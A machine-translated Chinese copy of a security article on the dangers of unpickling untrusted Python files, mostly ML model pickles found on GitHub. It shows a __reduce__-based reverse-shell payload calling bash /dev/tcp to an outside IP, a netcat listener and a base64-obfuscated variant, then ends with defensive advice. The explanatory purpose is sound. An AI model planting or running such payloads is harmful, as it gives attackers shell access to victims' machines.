如果您正在使用Python &＃xff08;尤其是用于机器学习&＃xff09;&＃xff0c;则应该对名为pickle的标准库模块有所了解。 它用于Python对象序列化&＃xff0c;在广泛的应用程序中非常方便。 您可能需要序列化一些对象&＃xff1a;训练有素的scikit-learn模型&＃xff0c;经过长时间连接多个表后获得的Pandas DataFrame&＃xff1b; 基本上任何由异类数据组成的Python对象&＃xff0c;您都可能希望在将来在新环境中快速加载它们&＃xff08;对于同类数据&＃xff0c;例如神经网络权重或训练数据张量&＃xff0c;最好使用更合适的格式&＃xff0c;例如HDF5 &＃xff09;。
在本文中&＃xff0c;我想告诉您为什么取消从不可信来源获得的对象时要格外小心。
咸菜在野外有多普遍&＃xff1f; 有很多人在做ML项目并将它们放在GitHub仓库中&＃xff0c;因此不可避免地有些项目将包含pickle文件&＃xff08;按照惯例&＃xff0c;它们具有.pkl扩展名&＃xff09;。 有时&＃xff0c;泡菜文件是故意放置在该文件中的&＃xff0c;以使其他人更容易使用预先训练的模型或准备好的数据集对象来再现结果。 在其他时候&＃xff0c;它们在开发过程中被使用&＃xff0c;然后与项目的其余部分一起偶然地被推到仓库。
由于GitHub不允许单独按文件扩展名进行搜索&＃xff0c;因此很难准确估算GitHub上托管的pickle文件的确切数量。 我尝试了以下查询&＃xff1a; extension:pkl model &＃xff0c;它搜索在文件中包含单词“ model”的泡菜文件 。 结果如下&＃xff1a;
现在&＃xff0c;腌制对象是将Python对象层次结构转换为字节流&＃xff0c;因此我不希望以此方式找到大多数腌制文件。 根据GitHub搜索规则&＃xff0c;我必须至少指定一个单词来搜索内部文件&＃xff0c;然后选择“模型”。 在此查询中找到的大多数文件要么是指向同一存储库中实际泡菜文件的符号链接&＃xff08;在符号链接路径中的某个位置带有“模型”一词&＃xff09;&＃xff0c;要么是某些包含大量人类可读数据的腌制对象&＃xff08;例如&＃xff0c;特征向量&＃xff09;用于某些NLP模型&＃xff09;。
我不太急于抓取公共GitHub存储库并计算所有pickle文件&＃xff1b; 但是我希望泡菜文件的实际数量比执行相对狭窄的查询后获得的16242个 数量级大几个数量级。 我知道这是一个非常粗略的估计&＃xff0c;但是我相信您同意&＃xff0c;在GitHub上腌制文件确实并不罕见。
潜在滥用 这是来自pickle docs的几个有趣的段落&＃xff1a;
当Pickler __reduce__() __reduce__() … 返回一个元组时&＃xff0c;它的长度必须在2到5个元素之间。 可选元素可以省略&＃xff0c;也可以提供None作为其值。 将该元组的内容照常进行腌制&＃xff0c;并在去腌制时用于重建对象。 这意味着可以创建一个任意的Python对象&＃xff0c;该对象在不经过__reduce__()后将执行__reduce__()返回的代码。 尽管对可以返回的事物的种类有一些限制&＃xff08;例如&＃xff0c;它必须是可调用的&＃xff09;&＃xff0c;但是创建一个在未腌制时可能存在危险的对象仍然相对容易。
设置反向Shell有效负载 在这种情况下可以做的最简单的事情之一就是在子流程中启动反向shell。 这是一个示例对象&＃xff1a;
class ReverseShell(object):
def __reduce__(self):
__reduce__()必须返回的对象的结构非常具体。 在此示例中&＃xff0c;返回包含两个项目的元组。 以下是每个项目的细目分类&＃xff1a;
subprocess.Popen
将被调用以创建对象的初始版本的可调用对象。 此类用于在新进程中执行子程序。 取消对对象进行酸洗后&＃xff0c;此新过程将在后台启动。
(&＃39;bash -i >& /dev/tcp/52.207.225.255/6006 0>&1&＃39;,
可调用对象的参数元组。 第一个参数是要由子进程执行的程序。 我&＃xff08;作为假想的攻击者&＃xff09;想要&＃xff1a;
bash -i以交互方式打开bash &> /dev/tcp/52.207.255.255/6006将stderr和stdout都重定向到某个TCP / IP套接字。 当我使用反向外壳程序时&＃xff0c;我想查看机器上的所有输出&＃xff08; 52.207.255.255 &＃xff09;; 我不希望受害者看到我正在远程执行什么命令。 0>&1将stdin重定向到stdout; 该重定向符号是反转I / O“流”方向所需的第二部分。 没有这个&＃xff0c;标准输入仍然会从受害者的标准输出到我&＃xff08;攻击者&＃xff09;的标准输出。 我希望这被扭转。 几乎所有其他参数都不重要&＃xff08;这就是为什么它们大多数都为None的原因&＃xff09;。 我必须明确列出它们&＃xff0c;因为我需要将第8个参数的默认值更改为True &＃xff0c;这是在必须将参数放入元组时的唯一方法。 第8个参数是shell&＃61;True &＃xff0c;它指定/bin/sh用于执行第一个参数中指定的内容。 如果目标计算机具有无法识别/dev/tcp/...套接字的其他默认外壳程序并引发FileNotFoundError &＃xff08;例如zsh &＃xff09;&＃xff0c; FileNotFoundError 要这样做 。
使用反向外壳 既然我们已经了解了构成可能的恶意腌制对象的内容&＃xff0c;剩下的唯一事情就是腌制它&＃xff0c;并为有人腌制时做好准备。
>>> import pickle
对于此示例&＃xff0c;我将使用netcat只是在攻击者计算机的指定端口上侦听传入的TCP连接&＃xff1a;
52.207.255.255
当受害人解开文件时&＃xff0c;头几秒钟似乎没有任何问题&＃xff1a;
victim:~$ python
同时&＃xff0c;在攻击者那边&＃xff0c;我可以列出受害者解开负载的目录&＃xff0c;并浏览受害者的计算机。 只是为了验证它是否按预期工作&＃xff0c;我们可以检查有效用户ID确实是受害者之一。
attacker:~$ nc -l 6006
现在&＃xff0c;受害人将在几秒钟内通过尝试使用未腌制的对象注意到出了点问题&＃xff1a;
在现实世界中&＃xff0c;可以安全地假设没有攻击者会坐下来&＃xff0c;等待反向外壳连接&＃xff0c;然后在受害者的计算机上手动执行某些操作。 更有可能是脚本等待反向外壳连接&＃xff0c;然后该脚本将窃取数据/安装挖矿恶意软件/在更隐蔽的地方设置另一个反向外壳。 攻击者具有与受害者相同的特权时&＃xff0c;有很多可能性。 因此&＃xff0c;对于一个准备好的攻击者来说&＃xff0c;打开一秒钟或两秒钟的反向炮弹绰绰有余。
处理不信任的腌制对象 是否有某种简单的方法来检查腌制对象中是否包含恶意内容&＃xff1f;
如果我们考虑先前创建和腌制的对象的字节序列&＃xff0c;我们可以很好地了解如果未腌制该对象会发生什么。
52.207.255.255
即使传递给subprocess.Popen的参数字符串是base-64编码的&＃xff0c;仍然很明显&＃xff0c;腌制对象不正确&＃xff1a;
class ObfuscatedReverseShell(object):
def __reduce__(self):
>>> rs &＃61; ObfuscatedReverseShell()subprocess\nPopen \nq\x00(XT\x00\x00\x00 eval &＃96;echo YmFzaCAtaSA&＃43;JiAvZGV2L3RjcC81Mi4yMDcuMjI1LjI1NS82MDA2IDA&＃43;JjE&＃61; | base64 -D &＃96;q\x01J\xff\xff\xff\xffNNNNNN\x88tq\x02Rq\x03.&＃39;
我想尝试评估较大大小的腌制对象的字节序列会非常繁琐。 无论如何&＃xff0c;简单地避免从不受信任的来源中解对象或在沙盒环境中进行操作都是更安全的。
如果您正在寻找的是预先训练的ML模型&＃xff0c;则最好使用单独提供的模型表示形式和权重来自己重建模型。 例如&＃xff0c;可以从json / yaml加载.hdf5 模型表示形式&＃xff0c;然后从HDF5文件&＃xff08;扩展名为.hdf5 &＃xff09;加载权重。 我浏览了HDF5 API&＃xff0c;没有看到任何允许在加载时执行任意代码的东西&＃xff0c;如pickle的__reduce__()那样。
这是本文中提到的代码示例的存储库&＃xff1a; pkl_rev_sh
From: https://hackernoon.com/dont-trust-a-pickle-a77cb4c9e0e
京公网安备 11010802041100号